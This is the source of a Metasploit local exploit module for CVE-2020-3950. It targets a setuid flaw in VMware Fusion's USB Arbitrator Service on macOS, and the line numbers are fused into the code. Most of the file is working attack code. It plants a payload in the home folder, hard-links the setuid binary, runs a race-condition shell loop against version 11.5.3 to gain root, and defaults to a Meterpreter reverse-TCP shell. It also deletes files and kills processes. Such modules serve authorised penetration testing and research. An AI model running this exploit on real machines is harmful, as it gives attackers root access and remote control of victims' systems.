Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/vmware_fusion_lpe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::OSX::Priv9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',19'Description' => %q{20This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.21The Open VMware USB Arbitrator Service can be launched outide of its standard path22which allows loading of an attacker controlled binary. By creating a payload in the23user home directory in a specific folder, and creating a hard link to the 'Open VMware24USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload25with an effective UID of 0.26@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.27Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.28},29'License' => MSF_LICENSE,30'Author' => [31'h00die', # msf module32'Dhanesh Kizhakkinan', # discovery33'Rich Mirch', # edb module34'jeffball <[email protected]>', # 11.5.3 exploit35'grimm'36],37'Platform' => [ 'osx' ],38'Arch' => [ ARCH_X86, ARCH_X64 ],39'SessionTypes' => [ 'shell', 'meterpreter' ],40'Targets' => [[ 'Auto', {} ]],41'Privileged' => true,42'References' => [43[ 'CVE', '2020-3950' ],44[ 'EDB', '48235' ],45[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],46[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],47[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]48],49'DisclosureDate' => '2020-03-17',50'DefaultOptions' => {51'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',52'WfsDelay' => 1553},54'Notes' => {55'Reliability' => [REPEATABLE_SESSION],56'Stability' => [CRASH_SAFE],57'SideEffects' => [ARTIFACTS_ON_DISK]58}59)60)6162register_options [63OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])64]65end6667def open_usb_service68'Open VMware USB Arbitrator Service'69end7071def usb_service72'VMware USB Arbitrator Service'73end7475def get_home_dir76home = cmd_exec 'echo ~'77if home.blank?78fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'79end80home81end8283def content_dir84"#{get_home_dir}/Contents"85end8687def base_dir88"#{content_dir}/Library/services/"89end9091def kill_process(executable)92pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')93cmd_exec pid_kill94end9596def get_version97# Thanks to @ddouhine on github for this answer!98version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"99/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw # supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2100if version_raw.blank?101fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'102end103Rex::Version.new(version)104end105106def pre_11_5_3107# Upload payload executable & chmod108payload_filename = "#{base_dir}#{usb_service}"109print_status "Uploading Payload: #{payload_filename}"110write_file payload_filename, generate_payload_exe111chmod payload_filename, 0o755112register_file_for_cleanup payload_filename113114# create folder structure and hard link to the original binary115root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later116link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"117cmd_exec "mkdir -p #{link_folder}"118cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"119print_status "Created folder (#{link_folder}) and link"120121print_status 'Starting USB Service (5 sec pause)'122# XXX: The ; used by cmd_exec will interfere with &, so pad it with :123cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"124Rex.sleep 5 # give time for the service to execute our payload125print_status 'Killing service'126cmd_exec "pkill '#{open_usb_service}'"127print_status "Deleting #{root_link_folder}"128rm_rf root_link_folder129end130131def exactly_11_5_3132# Upload payload executable & chmod133payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"134print_status "Uploading Payload to #{payload_name}"135write_file payload_name, generate_payload_exe136chmod payload_name, 0o755137# create race with codesign check138root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later139link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"140print_status 'Uploading race condition executable.'141race = <<~EOF142#!/bin/sh143while [ "1" = "1" ]; do144ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'145ln -f '#{payload_name}' '#{base_dir}#{usb_service}'146done147EOF148racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"149upload_and_chmodx racer_name, race150register_file_for_cleanup racer_name151register_dirs_for_cleanup root_link_folder152# create the hard link153print_status "Creating folder (#{link_folder}) and link"154cmd_exec "mkdir -p #{link_folder}"155cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"156157# create the launcher to start the racer and keep launching our service to attempt to win158launcher = <<~EOF159#!/bin/sh160#{racer_name} &161for i in {1..#{datastore['MAXATTEMPTS']}}162do163echo "attempt $i";164'#{link_folder}#{open_usb_service}'165done166EOF167runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"168upload_and_chmodx runner_name, launcher169register_file_for_cleanup runner_name170171print_status "Launching Exploit #{runner_name} (sleeping 15sec)"172# XXX: The ; used by cmd_exec will interfere with &, so pad it with :173results = cmd_exec "#{runner_name} & :"174Rex.sleep 15 # give time for the service to execute our payload175vprint_status results176177print_status 'Exploit Finished, killing scripts.'178kill_process racer_name179kill_process runner_name # in theory should be killed already but just in case180kill_process "'#{link_folder}#{open_usb_service}'"181# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.182# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error183# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder184end185186def check187unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"188print_bad "'#{open_usb_service}' binary missing"189return CheckCode::Safe190end191version = get_version192if version.between?(Rex::Version.new('10.1.3'), Rex::Version.new('11.5.3'))193vprint_good "Vmware Fusion #{version} is exploitable"194else195print_bad "VMware Fusion #{version} is NOT exploitable"196return CheckCode::Safe197end198CheckCode::Appears199end200201def exploit202if !datastore['ForceExploit'] && is_root?203fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')204end205206# Make sure we can write our payload to the remote system207rm_rf content_dir # live dangerously.208if directory? content_dir209fail_with Failure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."210end211cmd_exec "mkdir -p #{base_dir}"212register_dirs_for_cleanup content_dir213unless writable? base_dir214fail_with Failure::BadConfig, "#{base_dir} is not writable."215end216217version = get_version218if version == Rex::Version.new('11.5.3')219vprint_status 'Using 11.5.3 exploit'220exactly_11_5_3221elsif version.between?(Rex::Version.new('10.1.3'), Rex::Version.new('11.5.2'))222vprint_status 'Using pre-11.5.3 exploit'223pre_11_5_3224end225rm_rf content_dir # live dangerously.226end227end228229230